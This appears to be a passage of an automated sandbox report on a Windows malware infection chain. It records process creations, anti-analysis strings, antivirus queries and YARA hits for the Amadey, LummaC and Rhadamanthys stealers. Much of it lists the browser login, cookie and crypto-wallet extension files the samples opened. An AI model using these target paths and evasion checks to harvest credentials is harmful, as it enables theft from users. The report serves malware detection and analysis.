Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_5.zip -oextracted	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_4.zip -oextracted	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_3.zip -oextracted	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_2.zip -oextracted	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_1.zip -oextracted	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\attrib.exe attrib +H "in.exe"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\in.exe "in.exe"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\PING.EXE "C:\Windows\system32\PING.EXE" 127.0.0.1
Source: C:\Users\user\AppData\Local\Temp\1016853001\80f68847d3.exe	Process created: C:\Windows\SysWOW64\svchost.exe "C:\Windows\System32\svchost.exe"
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Process created: C:\Windows\explorer.exe explorer.exe
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\PING.EXE "C:\Windows\system32\PING.EXE" 127.1.10.1
Source: C:\Users\user\AppData\Local\Temp\1016854001\9f237e29d5.exe	Process created: C:\Users\user\AppData\Local\Temp\1016854001\9f237e29d5.exe "C:\Users\user\AppData\Local\Temp\1016854001\9f237e29d5.exe"

Source: file.exe, 00000000.00000002.1459055488.0000000000AC9000.00000040.00000001.01000000.00000003.sdmp, skotes.exe, 00000002.00000002.1487128440.0000000000839000.00000040.00000001.01000000.00000007.sdmp, skotes.exe, 00000006.00000002.2679166742.0000000000839000.00000040.00000001.01000000.00000007.sdmp	Binary or memory string: ow+GmProgram Manager
Source: 80f68847d3.exe, 00000023.00000002.2383615819.0000000000A8A000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Program Manager
Source: skotes.exe, skotes.exe, 00000006.00000002.2679166742.0000000000839000.00000040.00000001.01000000.00000007.sdmp	Binary or memory string: w+GmProgram Manager

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 6_2_0061DD91 cpuid

6_2_0061DD91

Source: C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe	Code function: EnumSystemLocalesW,	8_2_00933086
Source: C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe	Code function: GetLocaleInfoW,	8_2_009330D1
Source: C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	8_2_00933178
Source: C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	8_2_00932A13
Source: C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe	Code function: GetLocaleInfoW,	8_2_0092F21C
Source: C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe	Code function: GetLocaleInfoW,	8_2_0093327E
Source: C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	8_2_00932CFF
Source: C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe	Code function: EnumSystemLocalesW,	8_2_00932C64
Source: C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe	Code function: GetLocaleInfoW,	8_2_00932FB1
Source: C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe	Code function: EnumSystemLocalesW,	8_2_0092F717
Source: C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe	Code function: EnumSystemLocalesW,	8_2_00932F52
Source: C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe	Code function: EnumSystemLocalesW,	10_2_00933086
Source: C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe	Code function: GetLocaleInfoW,	10_2_009330D1
Source: C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	10_2_00933178
Source: C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	10_2_00932A13
Source: C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe	Code function: GetLocaleInfoW,	10_2_0092F21C
Source: C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe	Code function: GetLocaleInfoW,	10_2_0093327E
Source: C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	10_2_00932CFF
Source: C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe	Code function: EnumSystemLocalesW,	10_2_00932C64
Source: C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe	Code function: GetLocaleInfoW,	10_2_00932FB1
Source: C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe	Code function: EnumSystemLocalesW,	10_2_0092F717
Source: C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe	Code function: EnumSystemLocalesW,	10_2_00932F52

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1016852001\95ae71a780.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1016852001\95ae71a780.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1016853001\80f68847d3.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1016853001\80f68847d3.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1016854001\9f237e29d5.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1016854001\9f237e29d5.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1016854001\9f237e29d5.exe	Queries volume information: C:\ VolumeInformation

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_008ACBEA GetSystemTimePreciseAsFileTime,GetSystemTimePreciseAsFileTime,

0_2_008ACBEA

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 6_2_00642517 GetTimeZoneInformation,

6_2_00642517

Source: C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: svchost.exe, 00000029.00000002.2372420603.0000000002D00000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OllyDbg.exe
Source: svchost.exe, 00000029.00000002.2372420603.0000000002D00000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: lordpe.exe
Source: d2cb36d600.exe, 0000000B.00000003.2292963780.00000000013CE000.00000004.00000020.00020000.00000000.sdmp, d2cb36d600.exe, 0000000B.00000003.2375048066.0000000001333000.00000004.00000020.00020000.00000000.sdmp, d2cb36d600.exe, 0000000B.00000003.2292886987.00000000013C8000.00000004.00000020.00020000.00000000.sdmp, d2cb36d600.exe, 0000000B.00000002.2376937453.0000000001333000.00000004.00000020.00020000.00000000.sdmp, d2cb36d600.exe, 0000000B.00000003.2297401624.0000000003AE3000.00000004.00000800.00020000.00000000.sdmp, d2cb36d600.exe, 0000000B.00000003.2292588728.00000000013AA000.00000004.00000020.00020000.00000000.sdmp, d2cb36d600.exe, 0000000B.00000003.2352961493.00000000013AA000.00000004.00000020.00020000.00000000.sdmp, d2cb36d600.exe, 0000000B.00000003.2298105996.0000000003AE6000.00000004.00000800.00020000.00000000.sdmp, d2cb36d600.exe, 0000000B.00000003.2292678383.0000000001333000.00000004.00000020.00020000.00000000.sdmp, d2cb36d600.exe, 0000000B.00000003.2354295558.0000000001333000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe
Source: svchost.exe, 00000029.00000002.2372420603.0000000002D00000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: regmon.exe

Source: C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct
Source: C:\Users\user\AppData\Local\Temp\1016854001\9f237e29d5.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 0.2.file.exe.890000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.skotes.exe.600000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.skotes.exe.600000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000006.00000003.2004346887.0000000004FD0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.1486178970.0000000000601000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.1443119669.0000000004690000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1416758119.0000000004CD0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1457682859.0000000000891000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.2669413037.0000000000601000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: d2cb36d600.exe PID: 7656, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 9f237e29d5.exe PID: 3060, type: MEMORYSTR

Yara detected RHADAMANTHYS Stealer

Source: Yara match	File source: 00000029.00000003.2360437408.00000000029F0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000023.00000003.2350989316.0000000001240000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000029.00000002.2372633132.0000000002ED0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000023.00000003.2360789090.00000000050A0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY

Found many strings related to Crypto-Wallets (likely being stolen)

Source: d2cb36d600.exe	String found in binary or memory: d":2,"fs":20971520},{"t":0,"p":"%appdata%\\Electrum\\wallets","m":["*"],"z":
Source: d2cb36d600.exe	String found in binary or memory: Wallets/ElectronCash
Source: d2cb36d600.exe	String found in binary or memory: Jaxx Liberty
Source: d2cb36d600.exe	String found in binary or memory: window-state.json
Source: d2cb36d600.exe, 0000000B.00000003.2271451706.00000000013AB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: ,"z":"Wallets/Ethereum","d":1,"fs":20971520},{"t":0,"p":"%appdata%\\Exodus\\
Source: d2cb36d600.exe	String found in binary or memory: ExodusWeb3
Source: d2cb36d600.exe	String found in binary or memory: %appdata%\Ethereum
Source: d2cb36d600.exe, 0000000B.00000003.2375048066.000000000131C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: d2cb36d600.exe, 0000000B.00000003.2270396851.000000000132B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: keystore

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Local\Temp\1016854001\9f237e29d5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn
Source: C:\Users\user\AppData\Local\Temp\1016854001\9f237e29d5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak
Source: C:\Users\user\AppData\Local\Temp\1016854001\9f237e29d5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi
Source: C:\Users\user\AppData\Local\Temp\1016854001\9f237e29d5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa
Source: C:\Users\user\AppData\Local\Temp\1016854001\9f237e29d5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik
Source: C:\Users\user\AppData\Local\Temp\1016854001\9f237e29d5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc
Source: C:\Users\user\AppData\Local\Temp\1016854001\9f237e29d5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn
Source: C:\Users\user\AppData\Local\Temp\1016854001\9f237e29d5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn
Source: C:\Users\user\AppData\Local\Temp\1016854001\9f237e29d5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\1016854001\9f237e29d5.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\places.sqlite
Source: C:\Users\user\AppData\Local\Temp\1016854001\9f237e29d5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account
Source: C:\Users\user\AppData\Local\Temp\1016854001\9f237e29d5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk
Source: C:\Users\user\AppData\Local\Temp\1016854001\9f237e29d5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd
Source: C:\Users\user\AppData\Local\Temp\1016854001\9f237e29d5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg
Source: C:\Users\user\AppData\Local\Temp\1016854001\9f237e29d5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa
Source: C:\Users\user\AppData\Local\Temp\1016854001\9f237e29d5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb
Source: C:\Users\user\AppData\Local\Temp\1016854001\9f237e29d5.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\cert9.db
Source: C:\Users\user\AppData\Local\Temp\1016854001\9f237e29d5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf
Source: C:\Users\user\AppData\Local\Temp\1016854001\9f237e29d5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg
Source: C:\Users\user\AppData\Local\Temp\1016854001\9f237e29d5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm
Source: C:\Users\user\AppData\Local\Temp\1016854001\9f237e29d5.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\formhistory.sqlite
Source: C:\Users\user\AppData\Local\Temp\1016854001\9f237e29d5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm
Source: C:\Users\user\AppData\Local\Temp\1016854001\9f237e29d5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch
Source: C:\Users\user\AppData\Local\Temp\1016854001\9f237e29d5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo
Source: C:\Users\user\AppData\Local\Temp\1016854001\9f237e29d5.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\key4.db
Source: C:\Users\user\AppData\Local\Temp\1016854001\9f237e29d5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch
Source: C:\Users\user\AppData\Local\Temp\1016854001\9f237e29d5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj
Source: C:\Users\user\AppData\Local\Temp\1016854001\9f237e29d5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc
Source: C:\Users\user\AppData\Local\Temp\1016854001\9f237e29d5.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Local\Temp\1016854001\9f237e29d5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh
Source: C:\Users\user\AppData\Local\Temp\1016854001\9f237e29d5.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History
Source: C:\Users\user\AppData\Local\Temp\1016854001\9f237e29d5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb
Source: C:\Users\user\AppData\Local\Temp\1016854001\9f237e29d5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn
Source: C:\Users\user\AppData\Local\Temp\1016854001\9f237e29d5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba
Source: C:\Users\user\AppData\Local\Temp\1016854001\9f237e29d5.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\logins.json
Source: C:\Users\user\AppData\Local\Temp\1016854001\9f237e29d5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge
Source: C:\Users\user\AppData\Local\Temp\1016854001\9f237e29d5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih
Source: C:\Users\user\AppData\Local\Temp\1016854001\9f237e29d5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof
Source: C:\Users\user\AppData\Local\Temp\1016854001\9f237e29d5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon
Source: C:\Users\user\AppData\Local\Temp\1016854001\9f237e29d5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp
Source: C:\Users\user\AppData\Local\Temp\1016854001\9f237e29d5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe
Source: C:\Users\user\AppData\Local\Temp\1016854001\9f237e29d5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Local\Temp\1016854001\9f237e29d5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla
Source: C:\Users\user\AppData\Local\Temp\1016854001\9f237e29d5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae
Source: C:\Users\user\AppData\Local\Temp\1016854001\9f237e29d5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg
Source: C:\Users\user\AppData\Local\Temp\1016854001\9f237e29d5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh
Source: C:\Users\user\AppData\Local\Temp\1016854001\9f237e29d5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo
Source: C:\Users\user\AppData\Local\Temp\1016854001\9f237e29d5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh
Source: C:\Users\user\AppData\Local\Temp\1016854001\9f237e29d5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig
Source: C:\Users\user\AppData\Local\Temp\1016854001\9f237e29d5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
Source: C:\Users\user\AppData\Local\Temp\1016854001\9f237e29d5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln
Source: C:\Users\user\AppData\Local\Temp\1016854001\9f237e29d5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb
Source: C:\Users\user\AppData\Local\Temp\1016854001\9f237e29d5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma
Source: C:\Users\user\AppData\Local\Temp\1016854001\9f237e29d5.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\1016854001\9f237e29d5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef
Source: C:\Users\user\AppData\Local\Temp\1016854001\9f237e29d5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh
Source: C:\Users\user\AppData\Local\Temp\1016854001\9f237e29d5.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles
Source: C:\Users\user\AppData\Local\Temp\1016854001\9f237e29d5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil
Source: C:\Users\user\AppData\Local\Temp\1016854001\9f237e29d5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa
Source: C:\Users\user\AppData\Local\Temp\1016854001\9f237e29d5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm
Source: C:\Users\user\AppData\Local\Temp\1016854001\9f237e29d5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data
Source: C:\Users\user\AppData\Local\Temp\1016854001\9f237e29d5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad
Source: C:\Users\user\AppData\Local\Temp\1016854001\9f237e29d5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne
Source: C:\Users\user\AppData\Local\Temp\1016854001\9f237e29d5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj
Source: C:\Users\user\AppData\Local\Temp\1016854001\9f237e29d5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp
Source: C:\Users\user\AppData\Local\Temp\1016854001\9f237e29d5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec
Source: C:\Users\user\AppData\Local\Temp\1016854001\9f237e29d5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno
